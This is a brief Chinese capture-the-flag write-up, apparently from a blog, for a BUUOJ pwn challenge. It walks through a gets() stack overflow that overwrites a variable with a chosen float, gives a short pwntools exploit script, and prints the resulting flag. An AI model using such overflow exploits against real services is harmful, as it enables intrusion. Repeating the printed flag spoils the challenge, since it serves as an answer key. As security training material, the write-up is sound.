可能是栈溢出吗

先放出 pwn 的 checksec

64 位且栈堆不可执行

IDA 打开

gets 是可以溢出的,但没必要;这一题我们只要覆盖到 v2, 然后让 v2==11.28125 就可以了.

因此 gets 时先覆盖 b'a'*(0x30-0x04) 即可到 v2 的部分,再跟上 11.28125 的十六进制数即可成功获取 flag.

通过在线转换我们获得 16 进制的浮点数.

让我们开始 payload 吧.

构造 exp 如下

from pwn import *
h=remote("node3.buuoj.cn",28466)
payload=b'A'*(0x30-4)+p64(0x41348000)
h.sendline(payload)
h.interactive()

最后执行得到 flag

flag{3220e461-4bf7-4910-8abc-19873d83291c}

贴一个在线进制转换

CLICK ME

更新于

请我喝[茶]~( ̄▽ ̄)~*

1sme 微信支付

微信支付